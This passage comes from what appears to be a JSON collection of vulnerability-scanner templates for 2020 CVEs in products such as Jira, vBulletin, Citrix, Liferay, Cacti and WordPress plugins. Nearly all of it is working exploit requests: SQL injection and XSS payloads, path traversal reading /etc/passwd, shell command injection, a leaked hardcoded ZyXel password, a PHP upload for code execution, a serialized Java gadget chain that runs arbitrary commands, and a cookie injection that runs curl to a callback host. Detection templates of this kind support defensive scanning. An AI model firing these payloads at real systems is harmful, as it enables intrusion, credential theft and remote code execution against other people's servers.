Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/secure/QueryComponent!Default.jspa"],"matchers-condition":"and","matchers":[{"type":"word","words":["{\"searchers\":","\"groups\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11546","info":{"name":"SuperWebmailer 7.21.0.01526 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /mailingupgrade.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nstep=1&Language=de{${system(\"ls\")}}&NextBtn=Weiter+%3E\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ajax_ccea.php","ajax_getemailingactions.php","ajax_getemailtemplates.php"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15500","info":{"name":"TileServer GL <=3.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["'>\""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-36510","info":{"name":"WordPress 15Zine <3.3.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-23697","info":{"name":"Monstra CMS 3.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /admin/index.php?id=dashboard HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlogin={{username}}&password={{password}}&login_submit=Log+In\n","GET /admin/index.php?id=pages&action=add_page HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","POST /admin/index.php?id=pages&action=add_page HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncsrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15\n","GET /{{string}} HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["contains(header_4, \"text/html\")","status_code_4 == 200","contains(body_4, \">\") && contains(body_4, \"Monstra\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["id=\"csrf\" name=\"csrf\" value=\"(.*)\">"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-12720","info":{"name":"vBulletin SQL Injection","severity":"critical"},"requests":[{"raw":["POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nnodeId%5Bnodeid%5D=1%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2CCONCAT%28%27vbulletin%27%2C%27rce%27%2C%40%40version%29%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27--+-\n"],"matchers":[{"type":"word","words":["vbulletinrce"]}]}]},{"id":"CVE-2020-15129","info":{"name":"Traefik - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"headers":{"X-Forwarded-Prefix":"https://foo.nl"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Found"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2020-9043","info":{"name":"WordPress wpCentral <1.5.1 - Information Disclosure","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/index.php HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-login.php?action=logout&_wpnonce={{nonce}} HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}} HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(header_4, 'text/html')","status_code_4 == 200","contains(body_4, 'wpCentral Connection Key')","contains(body_4, \"pagenow = \\'dashboard\\'\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"authkey","group":1,"regex":["style=\"word-wrap:break-word;\">([a-z0-9]+)"],"internal":true,"part":"body"},{"type":"regex","name":"nonce","group":1,"regex":["_wpnonce=([0-9a-z]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-29453","info":{"name":"Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/s/{{randstr}}/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml","{{BaseURL}}/s/{{randstr}}/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["com.atlassian.jira"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8193","info":{"name":"Citrix  - Local File Inclusion","severity":"medium"},"requests":[{"raw":["POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\nX-NITRO-USER: xpyZxwy6\nX-NITRO-PASS: xWXHUJ56\n\n\n","GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1\nHost: {{Hostname}}\n","GET /menu/neo HTTP/1.1\nHost: {{Hostname}}\n","GET /menu/stc HTTP/1.1\nHost: {{Hostname}}\n","POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\nX-NITRO-USER: oY39DXzQ\nX-NITRO-PASS: ZuU9Y9c1\nrand_key: {{randkey}}\n\n\n","POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\nX-NITRO-USER: oY39DXzQ\nX-NITRO-PASS: ZuU9Y9c1\nrand_key: {{randkey}}\n\n\n"],"cookie-reuse":true,"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}],"extractors":[{"type":"regex","name":"randkey","regex":["(?m)[0-9]{3,10}\\.[0-9]+"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-11529","info":{"name":"Grav <1.7  - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%252f%255cinteract.sh%252fa%253fb/"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2020-25864","info":{"name":"HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\n\n\n","GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body_2","words":[""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-22210","info":{"name":"74cms - ajax_officebuilding.php SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/plus/ajax_officebuilding.php?act=key&key=\u9326%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{num}}),5,6,7,8,9%23"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2020-13258","info":{"name":"Contentful <=2020-05-21 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /?cda'\"&locale=locale=de-DE HTTP/1.1 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["{'api': '","',"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-5847","info":{"name":"UnRaid <=6.80 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20echo%20md5(%22CVE-2020-5847%22);%20?%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":["b13928fbcfff659363d7c7d1ec008d56"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10148","info":{"name":"SolarWinds Orion API - Auth Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/web.config.i18n.ashx?l={{string}}&v={{string}}","{{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l={{string}}&v={{string}}"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SolarWinds.Orion.Core.","Connection String"],"condition":"or"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17453","info":{"name":"WSO2 Carbon Management Console <=5.10 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/carbon/admin/login.jsp?msgId=%27%3Balert(%27document.domain%27)%2F%2F"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'';alert('document.domain')//';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9344","info":{"name":"Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E","{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS","{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E","{{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test","{{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","jira","subversion"],"condition":"and","case-insensitive":true},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9483","info":{"name":"SkyWalking SQLI","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/graphql"],"body":"{\"query\":\"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\\\"all_p99\\\",id:\\\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \\\",}, duration: $d){values{value}}}\",\"variables\":{\"d\":{\"start\":\"2021-11-11\",\"end\":\"2021-11-12\",\"step\":\"DAY\"}}}\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Content-Type: application/json"]},{"type":"word","part":"body","words":["UNION SELECT 1,CONCAT('~','9999999999','~')--","Exception while fetching data"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14181","info":{"name":"Jira Server and Data Center - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/secure/ViewUserHover.jspa"],"matchers-condition":"and","matchers":[{"type":"word","words":["user-hover-details","content=\"JIRA\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35986","info":{"name":"Rukovoditel <= 2.7.2 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=users_groups/users_groups&action=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0¬es=test\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2020-15895","info":{"name":"D-Link DIR-816L 2.x - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/info.php?RESULT=\",msgArray);alert(document.domain);//"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[";alert(document.domain);","DIR-816L"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2140","info":{"name":"Jenkin Audit Trail <=3.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample","{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
sample"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24571","info":{"name":"NexusDB <4.50.23 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../../../../../../../windows/win.ini"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[extensions]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-12127","info":{"name":"WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/ExportAllSettings.sh"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Login=","Password=","Model=","AuthMode="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-28351","info":{"name":"Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME"],"headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["Content-Type: text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17496","info":{"name":"vBulletin 5.5.4 - 5.6.2- Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsubWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;\"\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35736","info":{"name":"GateOne 1.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8813","info":{"name":"Cacti v1.2.8 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /graph_realtime.php?action=init HTTP/1.1\nHost: {{Hostname}}\nCookie: Cacti=%3Bcurl%20http%3A//{{interactsh-url}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2020-9496","info":{"name":"Apache OFBiz 17.12.03 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /webtools/control/xmlrpc HTTP/1.1\nHost: {{Hostname}}\nOrigin: http://{{Hostname}}\nContent-Type: application/xml\n\nProjectDiscoverydwisiswant0\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["faultString","No such service [ProjectDiscovery]","methodResponse"],"condition":"and"},{"type":"word","part":"header","words":["Content-Type: text/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-29583","info":{"name":"ZyXel USG - Hardcoded Credentials","severity":"critical"},"requests":[{"raw":["GET /?username=zyfwp&password=PrOw!aN_fXp HTTP/1.1\nHost: {{Hostname}}\n","GET /ext-js/index.html HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["data-qtip=\"Web Console","CLI","Configuration\">"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-28871","info":{"name":"Monitorr 1.7.6m - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /assets/php/upload.php HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: text/plain, */*; q=0.01\nConnection: close\nAccept-Language: en-US,en;q=0.5\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745\nOrigin: http://{{Hostname}}\nReferer: http://{{Hostname}}\n\n-----------------------------31046105003900160576454225745\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"{{randstr}}.php\"\nContent-Type: image/gif\n\nGIF89a213213123\n\n-----------------------------31046105003900160576454225745--\n","GET /assets/data/usrimg/{{tolower(\"{{randstr}}.php\")}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["d03c180355b797069cc047ff5606d689"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14092","info":{"name":"WordPress PayPal Pro <1.1.65 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?cffaction=get_data_from_database&query=SELECT%20*%20from%20wp_users"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["\"user_login\"","\"user_email\"","\"user_pass\"","\"user_activation_key\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-21012","info":{"name":"Sourcecodester Hotel and Lodge Management System 2.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /forgot_password.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nbtn_forgot=1&email=1%27%20or%20sleep(6)%23\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"Hotel Booking System\")"],"condition":"and"}]}]},{"id":"CVE-2020-29227","info":{"name":"Car Rental Management System 1.0 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?page=/etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17505","info":{"name":"Artica Web Proxy 4.30 - OS Command Injection","severity":"high"},"requests":[{"raw":["GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["array(2)","Position: ||whoami||","root"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8115","info":{"name":"Revive Adserver <=5.0.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\""],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["(?mi)window\\.location\\.replace\\(\".*alert\\(1337\\)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27481","info":{"name":"Good Layers LMS Plugin <= 2.1.4 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=gdlr_lms_cancel_booking&id=(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))MrMV)\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, 'goodlayers-lms') || contains(body, 'goodlms')"],"condition":"and"}]}]},{"id":"CVE-2020-26948","info":{"name":"Emby Server Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Name or service not known"]},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-5412","info":{"name":"Spring Cloud Netflix - Server-Side Request Forgery","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/proxy.stream?origin=http://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"header","words":["Jelly"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10546","info":{"name":"rConfig 3.9.4 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[project-discovery]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-7961","info":{"name":"Liferay Portal Unauthenticated < 7.2.1 CE GA2 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /api/jsonws/invoke HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData\ncmd2: {{command}}\n\ncmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth={{to_lower(rand_text_alpha(5))}}&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D\n"],"payloads":{"command":["systeminfo","lsb_release -a"]},"matchers-condition":"and","matchers":[{"type":"regex","regex":["OS Name:.*Microsoft Windows","Distributor ID:"],"condition":"or"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["Microsoft Windows (.*)","Distributor ID: (.*)"],"part":"body"}]}]},{"id":"CVE-2020-8194","info":{"name":"Citrix ADC and Citrix NetScaler Gateway - Remote Code Injection","severity":"medium"},"requests":[{"raw":["GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337\">&id=3&nsvpx=phpinfo HTTP/1.1\nHost: {{Hostname}}\nCookie: startupapp=st\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["application/x-java-jnlp-file"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8772","info":{"name":"WordPress InfiniteWP <1.9.4.5 - Authorization Bypass","severity":"critical"},"requests":[{"raw":["GET /?author=1 HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Language: en-US,en;q=0.9\n","POST / HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nContent-Type: application/x-www-form-urlencoded\n\n_IWP_JSON_PREFIX_{{base64(\"{\\\"iwp_action\\\":\\\"add_site\\\",\\\"params\\\":{\\\"username\\\":\\\"{{username}}\\\"}}\")}}\n"],"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["wordpress_logged_in"]},{"type":"word","part":"body","words":[""]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"username","group":1,"regex":["Author:(?:[A-Za-z0-9 